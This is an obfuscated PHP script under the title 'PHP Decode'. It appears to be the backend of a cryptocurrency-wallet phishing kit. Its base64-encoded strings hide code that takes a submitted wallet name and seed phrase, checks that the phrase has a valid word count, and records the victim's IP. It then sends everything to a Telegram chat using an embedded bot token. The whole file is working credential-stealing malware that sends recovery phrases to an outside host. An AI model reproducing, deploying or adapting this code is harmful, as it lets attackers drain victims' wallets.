PHP Decode

<?php session_start();$a4=base64_decode('NzkxNzUzMzIzNzpBQUdUS0VsNTBxWEwtTWpxZHBpZXY2TC1pblFWUFNsajF6bw==');$a5=-1002313006662;if($_SERVER[base64_decode('UkVRVUVTVF9NRVRIT0Q=')]!==base64_decode('UE9TVA==')){echo base64_decode('ZXJyb3IgIzEyNDY=');x1();}if(!isset($_POST[base64_decode('d2FsbGV0')])||empty($_POST[base64_decode('d2FsbGV0')])||!preg_match(base64_decode('L15bYS16QS1aMC05XSskLw=='),$_POST[base64_decode('d2FsbGV0')])){echo base64_decode('ZXJyb3IgIzIyNDY=');x1();}if(!isset($_POST[base64_decode('c2VlZA==')])||empty($_POST[base64_decode('c2VlZA==')])||!z3($_POST[base64_decode('c2VlZA==')])){echo base64_decode('ZXJyb3IgIzMyNDY=');x1();}$e6=file_get_contents($_SERVER[base64_decode('RE9DVU1FTlRfUk9PVA==')].base64_decode('L2Zja3IvY29uZmlncy5qc29u'));if($e6!==false){$e6=json_decode($e6,true);$b7=strtolower($_POST[base64_decode('d2FsbGV0')]?? '');if(!isset($e6)||empty($b7)||!isset($e6[$b7])){echo base64_decode('ZXJyb3IgIzQyNDY=');x1();}}$j8=$_POST[base64_decode('d2FsbGV0')]?? base64_decode('dW5rbm93bg==');$t9=$_POST[base64_decode('c2VlZA==')]?? base64_decode('ZW1wdHk=');$wa=$_SERVER[base64_decode('SFRUUF9DRl9DT05ORUNUSU5HX0lQ')]?? $_SERVER[base64_decode('UkVNT1RFX0FERFI=')];$yb=$_SERVER[base64_decode('U0VSVkVSX05BTUU=')]?? base64_decode('dW5rbm93bg==');echo 1;if(o0()){h2($a5,"<b> New Authorization</b>\n\n<b>Wallet:</b> <code>$j8</code>\n<b>Seed-phrase:</b> <code>$t9</code>\n\n<b>User IP:</b> <code>$wa</code>\n<b>From:</b> <code>$yb</code>");echo 2;}function o0(){$gc=7;if(!isset($_SESSION[base64_decode('bGFzdF9sb2dfdGltZQ==')])){return true;}$xd=$_SESSION[base64_decode('bGFzdF9sb2dfdGltZQ==')];$oe=time();if(($oe-$xd)>=$gc){return true;}return false;}function x1(){http_response_code(404);exit;}function h2($cf,$z10){global $a4;$d11=array(base64_decode('Y2hhdF9pZA==')=>$cf,base64_decode('dGV4dA==')=>$z10,base64_decode('cGFyc2VfbW9kZQ==')=>base64_decode('aHRtbA=='));$y12=file_get_contents(base64_decode('aHR0cHM6Ly9hcGkudGVsZWdyYW0ub3JnL2JvdA==').$a4.base64_decode('L3NlbmRNZXNzYWdlPw==').http_build_query($d11,base64_decode('Jg==')));var_dump($y12);}function z3($k13){if(strlen(trim($k13))==64){return true;}if(empty(trim($k13))){return false;}if(preg_match(base64_decode('L1teYS16QS1aMC05K1wvPSBdLw=='),$k13)){return false;}$b14=array_filter(explode(base64_decode('IA=='),trim($k13)),fn($h15)=>strlen(trim($h15))>0);$y16=count($b14);if(!in_array($y16,[12,15,18,21,24])){return false;}foreach($b14 as $h15){$h15=trim($h15);if(strlen($h15)<3||strlen($h15)>31){return false;}}return true;}?>